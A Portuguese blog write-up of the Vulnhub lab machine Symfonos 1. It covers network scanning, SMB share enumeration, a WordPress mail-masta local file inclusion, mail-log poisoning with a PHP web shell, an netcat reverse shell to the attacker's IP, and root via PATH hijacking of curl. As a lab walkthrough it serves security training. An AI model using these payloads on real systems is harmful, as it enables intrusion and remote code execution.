Home Vulnhub - Symfonos 1
Post
Cancel

Vulnhub - Symfonos 1


Olá

Aproveite.

Scanning web and services

Host Discovery

Inicialmente, realizamos um escaneamento na rede para encontrar o IP da máquina alvo.

1
sudo nmap -sn 10.0.2.1-255

O parâmetro sn tem como objetivo realizar um scan de ping.

scan nmap 10.0.2.10

Port Discovery

Com o IP alvo em mãos, foi utilizado o comando abaixo para obter mais informações sobre as portas e serviços em funcionamento no alvo. O comando foi dividido em duas partes. Primeiramente, realizou-se um escaneamento em todas as 65535 portas existentes e filtrando-as, armazenando tudo na variável ports, que foi usada na segunda parte do comando.

1
ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.0.2.10 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sV -p $ports 10.0.2.10

scan ports

Enumeration

Nessa etapa, realizamos uma análise básica dos serviços para ver se havia algo óbvio.

Port 22 - OpenSSH

Verificamos os métodos aceitos no ssh da máquina alvo.

1
ssh 10.0.2.10 -v

ssh methods

Port 25 - Postfix smtpd

1
nmap --script smtp-commands.nse 10.0.2.10 -p 25

script smtp

Port 80 - Apache httpd 2.4.25

Inicialmente, para enumerar a porta em questão, foi inserida a URL no navegador e foi exibida uma página com uma imagem no estilo padrão das máquinas da série Symfonos. Em seguida, foi utilizada a ferramenta Dirbuster para enumerar diretórios, conforme as figuras abaixo.

http://10.0.2.10/

dirbuster

Conforme apresentado na figura acima, não foi encontrado nenhum diretório interessante, o que pode ser bastante frustrante para os usuários que estão buscando algo específico. No entanto, embora isso possa parecer desanimador, você não deve desistir. Muitas vezes, os diretórios que você procura são escondidos e não são facilmente visíveis. Por isso, é importante que você explore todas as opções antes de desistir.

Ports 139/445 - Samba smbd 3.X - 4.X

Para enumerar o serviço, foi utilizada a ferramenta smbclient, conforme mostrado no comando a seguir.

1
smbclient -L 10.0.2.10

smbclient -L

Como resposta foram obtidos alguns shares (compartilhamentos) interessantes, dentre eles destacam-se o helios e o anonymous.

Ao acessar o compartilhamento (share) anônimo, tivemos acesso ao arquivo attention.txt, que continha a mensagem do usuário Zeus solicitando que os usuários parassem de usar senhas como epidioko, qwery e baseball.

smbclient anonymous

smb helios

Tentamos acessar o share Helios usando o usuário helios e testamos as senhas contidas no arquivo attention.txt. Não demorou para descobrirmos as credenciais do usuário helios.

Credenciais: helios:qwerty

Na imagem a seguir, é possível verificar o conteúdo dos arquivos presentes no share Helios.

/h3l105

Ao analisar o conteúdo do arquivo todo.txt, encontramos o diretório /h3l105. Esse diretório não foi detectado durante nossa busca usando a ferramenta Dirbuster.

http://10.0.2.10/h3l105/

Port 80 - Again!

A partir daqui, voltamos ao ambiente da porta 80.

Ao acessar o ambiente, notamos que o site estava “quebrado”. Ao analisar os links, percebemos que todos eles continham a nomenclatura “symfonos.local”.

dirh3l105

Para corrigir, é necessário adicionar o IP e o Hostname ao arquivo /etc/hosts, conforme mostrado na figura abaixo.

etc/hosts

symfonos.local

Sucesso! Agora, com tudo configurado, podemos começar a enumerar novamente este serviço. Sem muita análise, já é possível perceber que está sendo executado um WordPress no site. Por isso, buscamos diretórios comuns do WordPress e encontramos o /wp-admin.

http://symfonos.local/h3l105/wp-admin/

wp-admin

Para enumerar WordPress, usamos a ferramenta wpscan. Executamos o comando a seguir para isso:

1
wpscan --url http://symfonos.local/h3l105/ --enumerate p

wpscan 1.0

wpscan 1.1

wpscan 1.2

Após a enumeração do WordPress, diversas informações importantes foram obtidas, como a versão do serviço e a existência do plugin “mail-masta” (conforme as imagens acima).

Utilizando o segundo melhor amigo do homem, o Google, foi possível encontrar um possível exploit para o plugin “mail-masta” (conforme o link e imagem abaixo).

Exploit-DB: https://www.exploit-db.com/exploits/40290

mail-masta

Exploitation

Plugin MAIL-MASTA Local File Inclusion

De acordo com a explicação do Exploit do link mencionado, é possível obter um LFI (Local File Inclusion) na máquina alvo usando o link abaixo.

1
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

passwd LFI

Com o passo anterior em mente, enviamos um email para o usuário helios contendo um parâmetro em .php na mensagem. Assim, conseguimos acessá-lo usando o LFI.

1
<?php system($_GET['cmd']); ?>

php cmd

Conforme figura acima, nosso envio foi um sucesso.

Agora, para verificar se tudo está conforme o planejado, acessamos a URL usando o seguinte comando:

1
[http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id](http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=id)

Após observar o sucesso do comando supracitado, chegou o momento de tentarmos uma shell reversa através do seguinte comando:

1
[http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=nc 10.0.2.6 1337 -e /bin/sh](http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=nc%2010.0.2.6%201337%20-e%20/bin/sh)

Lembrando de utilizar o nc para escutar na porta destino, no caso, 1337.

Shell Obtido

shell obtido

Privilege Escalation

A partir do momento que foi obtido a shell na máquina alvo, foram realizados procedimentos padrão em busca da escalação de privilégios.

Também, fiz o download do arquivo LinEnum.sh, usando um servidor simples em Python na minha máquina. Isso permitiu realizar uma enumeração automatizada de alguns pontos interessantes da máquina alvo.

linenum.sh

opt/statuscheck

./statuscheck

A ferramenta trouxe diversos pontos interessantes, destaquei o arquivo /opt/statuscheck das imagens acima.

Ao analisar o funcionamento do statuscheck, notou-se que a execução resultava num header HTTP.

Após, foi utilizado o comando strings para analisar um pouco mais sobre o arquivo. Com isso, foi possível perceber a existência do comando curl dentro do mesmo.

curl

curl roubado

Conforme imagem acima, foi inserido o comando /bin/sh para dentro de um NOVO arquivo curl, que, desta vez, estaria localizado na pasta /tmp.

Com o novo arquivo criado, foi realizado um roubo de path, conforme os passos da figura acima e o código utilizado abaixo.

  • export PATH=tmp:$PATH

Sucesso, agora, basta executar o arquivo statuscheck.

root obtido

Root obtido Symfonos 1!

This post is licensed under CC BY 4.0 by the author.
Contents